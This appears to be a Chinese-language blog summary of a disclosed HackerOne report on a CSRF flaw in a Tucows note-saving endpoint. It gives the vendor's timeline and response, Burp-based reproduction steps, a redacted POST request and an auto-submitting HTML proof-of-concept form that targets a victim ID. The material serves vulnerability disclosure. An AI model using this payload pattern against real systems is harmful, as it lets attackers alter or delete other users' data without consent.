CSRF漏洞分析:未经授权修改用户笔记的安全风险

本文详细分析了一个CSRF漏洞,攻击者可通过恶意链接修改或删除用户笔记,涉及漏洞原理、复现步骤、影响评估及厂商响应过程,展示了完整的安全漏洞披露流程。

CSRF允许未经授权修改███████上的用户笔记 | HackerOne报告 #3367292

摘要

CSRF漏洞允许攻击者仅通过点击链接即可更改用户的笔记。攻击者可以修改或删除用户留下的所有信息,根本原因是端点███████似乎未实施CSRF攻击防护。

漏洞详情

  • 攻击复杂度:攻击者需要是被邀请到受害者同一组织的成员,才能获取受害者的正确ID用于链接
  • 次要场景:如果攻击者确信用户是新注册的,可能猜测受害者ID为1
  • 影响:未经授权修改或删除用户笔记、重要数据丢失、可能注入恶意链接或社交工程指令

复现步骤

  1. 在网站下订单后登录███████████账户
  2. 在共享笔记字段输入任意文本并点击保存
  3. 打开Burp Suite,进入HTTP历史记录标签
  4. 找到POST █████端点请求
  5. 右键选择Engagement tools → Generate CSRF PoC
  6. 编辑生成的PoC,将client_id参数设置为目标受害者ID
  7. 将生成的HTML文件上传到任何网络托管服务
  8. 受害者访问该页面时,其共享笔记将被修改或删除

受影响端点

1
2
3
4
5
6
7
Host: ████████████████████████
Cookie: ██████████
Content-Type: application██████████████x-www-form-urlencoded; charset=UTF-8
Te: trailers
Content-Length: 53

ajax=save_note&client_id={ID_victim}&note=I+Hacked+YOU&area=client

CSRF PoC代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<html>
 <body>
 <form action="███████████████">
 <input type="hidden" name="ajax" value="save&#95;note" ████████████████████████████>
 <input type="hidden" name="client&#95;id" value="{{ID_victim}}" ████>
 <input type="hidden" name="note" value="i&#32;hack&#32;you" ███████████████████████████████████>
 <input type="hidden" name="area" value="client" █████████>
 <input type="submit" value="Submit request" ███████████████████>
 <███████████form>
 <script>
      history.pushState('', '', '█████████████████████████████████');
      document.forms[0].submit();
 <█████████████████████████script>
 <████body>
<██████████████████████████████html>

时间线

  • 2025年10月2日:kanon4向Tucows (VDP)提交报告
  • 2025年10月4日:严重性从高(8.2)调整为中(6.1)
  • 2025年10月6日:严重性进一步调整为低(3.4)
  • 2025年10月7日:问题被标记为已解决
  • 2025年10月10日:报告被公开披露

厂商回应

Tucows安全团队认为这是低风险漏洞,因为任何组织成员已可通过正常功能编辑共享笔记,CSRF并未绕过任何有意义的安全边界。报告最终被公开披露,严重性评级为低(3.4)。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计